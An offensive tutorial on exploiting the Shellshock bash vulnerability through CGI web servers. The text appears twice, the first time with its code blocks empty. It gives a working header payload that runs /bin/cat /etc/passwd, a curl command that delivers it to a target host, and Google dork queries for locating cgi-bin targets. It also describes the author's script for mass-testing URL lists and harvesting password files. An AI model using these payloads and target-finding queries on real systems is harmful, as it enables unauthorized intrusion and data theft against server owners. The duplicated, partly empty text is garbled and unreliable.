Shellshock is an old vulnerability and while it's true most systems are patched by now, every once in a while you'll encounter a host that's vulnerable to it. It's very easy to exploit and a good introduction to OS command injection. But first let me give you a little information about this vulnerability. A lot of web servers use bash to handle certain types of requests through the common gateway interface or CGI for short. When a server uses the CGI to handle a document request it passes environment variables of this request to a handler program(Such as the value for the user-agent). If the request handler is a bash script or a bash script is called by means of a system call, bash is going to attempt to process the information regarding the request. This means that in a vulnerable system an attacker can craft a special request to exploit the way bash parses the environment variables.
The problem here is that when bash sees a bunch of environment variable definitions it doesn't necessarily recognize them. However it will assume that some of these environment variables are function definitions.
Consider the following.
Code:
Bash has no idea what a http_cookie is but since it starts with paranthesis bash simply assumes that it is a function definition after which it will allow the user to add some immediately executed commands, in case(Under normal circumstances) you'd need to invoke some side effects for the function to execute properly.
Now if we were to set the value for the http_cookie variable to some interesting commands we can retrieve all sorts of information. Like so:
Code:
This would retrieve the contents of their /etc/passwd. To implements this from the command line we can use curl, in this case the command might look something like this.
Code:
Now that's all well and good you might ask but how would i find hosts that are vulnerable to this? Good question. It so happens there are a couple of google dorks we can employ.
Code:
Not everything you'll find will be vulnerable so in order to test which ones are you can either use curl or a bash script i wrote that takes in a list of URLs and feeds them to curl. If a host in the list is vulnerable it will retrieve the contents of their /etc/passwd for you and print the results to the terminal or append them to a textfile should you so desire.
The problem here is that when bash sees a bunch of environment variable definitions it doesn't necessarily recognize them. However it will assume that some of these environment variables are function definitions.
Consider the following.
Code:
Code:
EXAMPLE_HOME=/opt/example
HTTP_COOKIE=() { :; };Bash has no idea what a http_cookie is but since it starts with paranthesis bash simply assumes that it is a function definition after which it will allow the user to add some immediately executed commands, in case(Under normal circumstances) you'd need to invoke some side effects for the function to execute properly.
Now if we were to set the value for the http_cookie variable to some interesting commands we can retrieve all sorts of information. Like so:
Code:
Code:
HTTP_COOKIE=() { :; };echo ; /bin/cat /etc/passwdThis would retrieve the contents of their /etc/passwd. To implements this from the command line we can use curl, in this case the command might look something like this.
Code:
Code:
curl http://host.com/cgi -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwdNow that's all well and good you might ask but how would i find hosts that are vulnerable to this? Good question. It so happens there are a couple of google dorks we can employ.
Code:
Code:
filetype:sh
intext:cgi-bin
intitle:apache "cgi-bin"
inurl:cgi-bin
inurl:wspd_cgi.sh
inurl:wslb.shNot everything you'll find will be vulnerable so in order to test which ones are you can either use curl or a bash script i wrote that takes in a list of URLs and feeds them to curl. If a host in the list is vulnerable it will retrieve the contents of their /etc/passwd for you and print the results to the terminal or append them to a textfile should you so desire.